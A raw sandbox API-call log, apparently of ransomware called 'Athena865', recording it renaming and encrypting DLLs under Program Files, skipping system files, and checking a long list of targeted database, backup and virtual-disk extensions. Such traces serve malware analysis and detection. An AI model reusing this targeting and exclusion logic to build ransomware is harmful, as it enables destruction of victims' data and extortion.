ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0118.809] lstrcmpiW (lpString1="msadds.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2=".") returned 1 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2="..") returned 1 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2="windows") returned -1 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2="bootmgr") returned 1 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2="temp") returned -1 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2="pagefile.sys") returned -1 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2="boot") returned 1 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2="ids.txt") returned 1 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2="ntuser.dat") returned -1 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2="perflogs") returned -1 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2="MSBuild") returned -1 [0118.810] lstrlenW (lpString="msadds.dll") returned 10 [0118.810] lstrcpyW (in: lpString1=0x241e89e, lpString2="msadds.dll" | out: lpString1="msadds.dll") returned="msadds.dll" [0118.810] lstrlenW (lpString="msadds.dll") returned 10 [0118.810] lstrlenW (lpString="Athena865") returned 9 [0118.810] lstrcmpiW (lpString1="sadds.dll", lpString2="Athena865") returned 1 [0118.810] lstrlenW (lpString=".dll") returned 4 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2=".dll") returned 1 [0118.810] lstrlenW (lpString=".lnk") returned 4 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2=".lnk") returned 1 [0118.810] lstrlenW (lpString=".ini") returned 4 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2=".ini") returned 1 [0118.810] lstrlenW (lpString=".sys") returned 4 [0118.810] lstrcmpiW (lpString1="msadds.dll", lpString2=".sys") returned 1 [0118.810] lstrlenW (lpString="msadds.dll") returned 10 [0118.810] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll.Athena865") returned 63 [0118.811] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll.athena865"), dwFlags=0x1) returned 1 [0118.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.812] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=303104) returned 1 [0118.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.812] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.813] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.813] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.813] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a300, lpName=0x0) returned 0x154 [0118.815] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a300) returned 0x2d50000 [0118.827] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.828] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.828] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.829] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0118.831] CloseHandle (hObject=0x154) returned 1 [0118.831] CloseHandle (hObject=0x17c) returned 1 [0118.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.833] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0118.833] lstrcmpiW (lpString1="msaddsr.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.833] lstrcmpiW (lpString1="msaddsr.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.833] lstrcmpiW (lpString1="msaddsr.dll", lpString2=".") returned 1 [0118.833] lstrcmpiW (lpString1="msaddsr.dll", lpString2="..") returned 1 [0118.833] lstrcmpiW (lpString1="msaddsr.dll", lpString2="windows") returned -1 [0118.833] lstrcmpiW (lpString1="msaddsr.dll", lpString2="bootmgr") returned 1 [0118.833] lstrcmpiW (lpString1="msaddsr.dll", lpString2="temp") returned -1 [0118.833] lstrcmpiW (lpString1="msaddsr.dll", lpString2="pagefile.sys") returned -1 [0118.833] lstrcmpiW (lpString1="msaddsr.dll", lpString2="boot") returned 1 [0118.833] lstrcmpiW (lpString1="msaddsr.dll", lpString2="ids.txt") returned 1 [0118.833] lstrcmpiW (lpString1="msaddsr.dll", lpString2="ntuser.dat") returned -1 [0118.833] lstrcmpiW (lpString1="msaddsr.dll", lpString2="perflogs") returned -1 [0118.833] lstrcmpiW (lpString1="msaddsr.dll", lpString2="MSBuild") returned -1 [0118.833] lstrlenW (lpString="msaddsr.dll") returned 11 [0118.833] lstrcpyW (in: lpString1=0x241e89e, lpString2="msaddsr.dll" | out: lpString1="msaddsr.dll") returned="msaddsr.dll" [0118.833] lstrlenW (lpString="msaddsr.dll") returned 11 [0118.833] lstrlenW (lpString="Athena865") returned 9 [0118.833] lstrcmpiW (lpString1="addsr.dll", lpString2="Athena865") returned -1 [0118.833] lstrlenW (lpString=".dll") returned 4 [0118.834] lstrcmpiW (lpString1="msaddsr.dll", lpString2=".dll") returned 1 [0118.834] lstrlenW (lpString=".lnk") returned 4 [0118.834] lstrcmpiW (lpString1="msaddsr.dll", lpString2=".lnk") returned 1 [0118.834] lstrlenW (lpString=".ini") returned 4 [0118.834] lstrcmpiW (lpString1="msaddsr.dll", lpString2=".ini") returned 1 [0118.834] lstrlenW (lpString=".sys") returned 4 [0118.834] lstrcmpiW (lpString1="msaddsr.dll", lpString2=".sys") returned 1 [0118.834] lstrlenW (lpString="msaddsr.dll") returned 11 [0118.834] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll.Athena865") returned 64 [0118.834] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll.athena865"), dwFlags=0x1) returned 1 [0118.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.835] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8192) returned 1 [0118.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.835] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.836] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.836] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.836] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2300, lpName=0x0) returned 0x154 [0118.840] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2300) returned 0x100000 [0118.840] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.841] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.841] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.842] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.842] CloseHandle (hObject=0x154) returned 1 [0118.842] CloseHandle (hObject=0x17c) returned 1 [0118.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.842] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0118.843] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.843] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.843] lstrcmpiW (lpString1="msdaprsr.dll", lpString2=".") returned 1 [0118.843] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="..") returned 1 [0118.846] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="windows") returned -1 [0118.847] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="bootmgr") returned 1 [0118.847] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="temp") returned -1 [0118.847] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="pagefile.sys") returned -1 [0118.847] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="boot") returned 1 [0118.848] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="ids.txt") returned 1 [0118.848] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="ntuser.dat") returned -1 [0118.848] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="perflogs") returned -1 [0118.848] lstrcmpiW (lpString1="msdaprsr.dll", lpString2="MSBuild") returned 1 [0118.848] lstrlenW (lpString="msdaprsr.dll") returned 12 [0118.848] lstrcpyW (in: lpString1=0x241e89e, lpString2="msdaprsr.dll" | out: lpString1="msdaprsr.dll") returned="msdaprsr.dll" [0118.848] lstrlenW (lpString="msdaprsr.dll") returned 12 [0118.848] lstrlenW (lpString="Athena865") returned 9 [0118.848] lstrcmpiW (lpString1="aprsr.dll", lpString2="Athena865") returned -1 [0118.848] lstrlenW (lpString=".dll") returned 4 [0118.848] lstrcmpiW (lpString1="msdaprsr.dll", lpString2=".dll") returned 1 [0118.848] lstrlenW (lpString=".lnk") returned 4 [0118.848] lstrcmpiW (lpString1="msdaprsr.dll", lpString2=".lnk") returned 1 [0118.848] lstrlenW (lpString=".ini") returned 4 [0118.848] lstrcmpiW (lpString1="msdaprsr.dll", lpString2=".ini") returned 1 [0118.848] lstrlenW (lpString=".sys") returned 4 [0118.848] lstrcmpiW (lpString1="msdaprsr.dll", lpString2=".sys") returned 1 [0118.848] lstrlenW (lpString="msdaprsr.dll") returned 12 [0118.848] lstrlenW (lpString="bak") returned 3 [0118.848] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0118.848] lstrlenW (lpString="ba_") returned 3 [0118.848] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0118.848] lstrlenW (lpString="dbb") returned 3 [0118.848] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0118.848] lstrlenW (lpString="vmdk") returned 4 [0118.848] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0118.848] lstrlenW (lpString="rar") returned 3 [0118.848] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0118.848] lstrlenW (lpString="zip") returned 3 [0118.849] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0118.849] lstrlenW (lpString="tgz") returned 3 [0118.849] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0118.849] lstrlenW (lpString="vbox") returned 4 [0118.849] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0118.849] lstrlenW (lpString="vdi") returned 3 [0118.849] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0118.849] lstrlenW (lpString="vhd") returned 3 [0118.849] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0118.849] lstrlenW (lpString="vhdx") returned 4 [0118.849] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0118.849] lstrlenW (lpString="avhd") returned 4 [0118.849] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0118.849] lstrlenW (lpString="db") returned 2 [0118.849] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0118.849] lstrlenW (lpString="db2") returned 3 [0118.849] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0118.849] lstrlenW (lpString="db3") returned 3 [0118.849] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0118.849] lstrlenW (lpString="dbf") returned 3 [0118.849] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0118.849] lstrlenW (lpString="mdf") returned 3 [0118.849] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0118.849] lstrlenW (lpString="mdb") returned 3 [0118.849] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0118.849] lstrlenW (lpString="sql") returned 3 [0118.849] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0118.849] lstrlenW (lpString="sqlite") returned 6 [0118.849] lstrcmpiW (lpString1="sr.dll", lpString2="sqlite") returned 1 [0118.850] lstrlenW (lpString="sqlite3") returned 7 [0118.850] lstrcmpiW (lpString1="rsr.dll", lpString2="sqlite3") returned -1 [0118.850] lstrlenW (lpString="sqlitedb") returned 8 [0118.850] lstrcmpiW (lpString1="prsr.dll", lpString2="sqlitedb") returned -1 [0118.850] lstrlenW (lpString="xml") returned 3 [0118.850] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0118.850] lstrlenW (lpString="$er") returned 3 [0118.850] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0118.850] lstrlenW (lpString="4dd") returned 3 [0118.850] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0118.850] lstrlenW (lpString="4dl") returned 3 [0118.850] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0118.850] lstrlenW (lpString="^^^") returned 3 [0118.850] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0118.850] lstrlenW (lpString="abs") returned 3 [0118.850] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0118.850] lstrlenW (lpString="abx") returned 3 [0118.850] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0118.850] lstrlenW (lpString="accdb") returned 5 [0118.850] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0118.850] lstrlenW (lpString="accdc") returned 5 [0118.850] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0118.850] lstrlenW (lpString="accde") returned 5 [0118.850] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0118.850] lstrlenW (lpString="accdr") returned 5 [0118.850] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0118.850] lstrlenW (lpString="accdt") returned 5 [0118.850] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0118.850] lstrlenW (lpString="accdw") returned 5 [0118.850] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0118.851] lstrlenW (lpString="accft") returned 5 [0118.851] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0118.851] lstrlenW (lpString="adb") returned 3 [0118.851] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.851] lstrlenW (lpString="adb") returned 3 [0118.851] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.851] lstrlenW (lpString="ade") returned 3 [0118.851] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0118.851] lstrlenW (lpString="adf") returned 3 [0118.851] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0118.851] lstrlenW (lpString="adn") returned 3 [0118.851] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0118.851] lstrlenW (lpString="adp") returned 3 [0118.851] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0118.851] lstrlenW (lpString="alf") returned 3 [0118.851] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0118.851] lstrlenW (lpString="ask") returned 3 [0118.851] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0118.851] lstrlenW (lpString="btr") returned 3 [0118.851] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0118.851] lstrlenW (lpString="cat") returned 3 [0118.851] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0118.851] lstrlenW (lpString="cdb") returned 3 [0118.851] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0118.851] lstrlenW (lpString="ckp") returned 3 [0118.851] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0118.851] lstrlenW (lpString="cma") returned 3 [0118.851] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0118.851] lstrlenW (lpString="cpd") returned 3 [0118.851] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0118.851] lstrlenW (lpString="dacpac") returned 6 [0118.852] lstrcmpiW (lpString1="sr.dll", lpString2="dacpac") returned 1 [0118.852] lstrlenW (lpString="dad") returned 3 [0118.852] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0118.852] lstrlenW (lpString="dadiagrams") returned 10 [0118.852] lstrcmpiW (lpString1="daprsr.dll", lpString2="dadiagrams") returned 1 [0118.852] lstrlenW (lpString="daschema") returned 8 [0118.852] lstrcmpiW (lpString1="prsr.dll", lpString2="daschema") returned 1 [0118.852] lstrlenW (lpString="db-journal") returned 10 [0118.852] lstrcmpiW (lpString1="daprsr.dll", lpString2="db-journal") returned -1 [0118.852] lstrlenW (lpString="db-shm") returned 6 [0118.852] lstrcmpiW (lpString1="sr.dll", lpString2="db-shm") returned 1 [0118.852] lstrlenW (lpString="db-wal") returned 6 [0118.852] lstrcmpiW (lpString1="sr.dll", lpString2="db-wal") returned 1 [0118.852] lstrlenW (lpString="dbc") returned 3 [0118.852] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0118.852] lstrlenW (lpString="dbs") returned 3 [0118.852] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0118.852] lstrlenW (lpString="dbt") returned 3 [0118.852] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0118.852] lstrlenW (lpString="dbv") returned 3 [0118.852] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0118.852] lstrlenW (lpString="dbx") returned 3 [0118.852] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0118.852] lstrlenW (lpString="dcb") returned 3 [0118.852] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0118.852] lstrlenW (lpString="dct") returned 3 [0118.852] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0118.852] lstrlenW (lpString="dcx") returned 3 [0118.852] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0118.852] lstrlenW (lpString="ddl") returned 3 [0118.853] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0118.853] lstrlenW (lpString="dlis") returned 4 [0118.853] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0118.853] lstrlenW (lpString="dp1") returned 3 [0118.853] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0118.853] lstrlenW (lpString="dqy") returned 3 [0118.853] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0118.853] lstrlenW (lpString="dsk") returned 3 [0118.853] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0118.853] lstrlenW (lpString="dsn") returned 3 [0118.853] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0118.853] lstrlenW (lpString="dtsx") returned 4 [0118.853] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0118.853] lstrlenW (lpString="dxl") returned 3 [0118.853] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0118.853] lstrlenW (lpString="eco") returned 3 [0118.853] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0118.853] lstrlenW (lpString="ecx") returned 3 [0118.853] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0118.853] lstrlenW (lpString="edb") returned 3 [0118.853] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0118.853] lstrlenW (lpString="epim") returned 4 [0118.853] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0118.853] lstrlenW (lpString="fcd") returned 3 [0118.853] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0118.853] lstrlenW (lpString="fdb") returned 3 [0118.853] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0118.853] lstrlenW (lpString="fic") returned 3 [0118.853] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0118.853] lstrlenW (lpString="flexolibrary") returned 12 [0118.853] lstrlenW (lpString="fm5") returned 3 [0118.854] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0118.854] lstrlenW (lpString="fmp") returned 3 [0118.854] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0118.854] lstrlenW (lpString="fmp12") returned 5 [0118.854] lstrcmpiW (lpString1="r.dll", lpString2="fmp12") returned 1 [0118.854] lstrlenW (lpString="fmpsl") returned 5 [0118.854] lstrcmpiW (lpString1="r.dll", lpString2="fmpsl") returned 1 [0118.854] lstrlenW (lpString="fol") returned 3 [0118.854] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0118.854] lstrlenW (lpString="fp3") returned 3 [0118.854] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0118.854] lstrlenW (lpString="fp4") returned 3 [0118.854] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0118.854] lstrlenW (lpString="fp5") returned 3 [0118.854] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0118.854] lstrlenW (lpString="fp7") returned 3 [0118.854] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0118.854] lstrlenW (lpString="fpt") returned 3 [0118.854] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0118.854] lstrlenW (lpString="frm") returned 3 [0118.854] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0118.854] lstrlenW (lpString="gdb") returned 3 [0118.854] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.854] lstrlenW (lpString="gdb") returned 3 [0118.854] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.854] lstrlenW (lpString="grdb") returned 4 [0118.854] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0118.854] lstrlenW (lpString="gwi") returned 3 [0118.854] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0118.854] lstrlenW (lpString="hdb") returned 3 [0118.855] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0118.855] lstrlenW (lpString="his") returned 3 [0118.855] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0118.855] lstrlenW (lpString="ib") returned 2 [0118.855] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0118.855] lstrlenW (lpString="idb") returned 3 [0118.855] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0118.855] lstrlenW (lpString="ihx") returned 3 [0118.855] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0118.855] lstrlenW (lpString="itdb") returned 4 [0118.855] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0118.855] lstrlenW (lpString="itw") returned 3 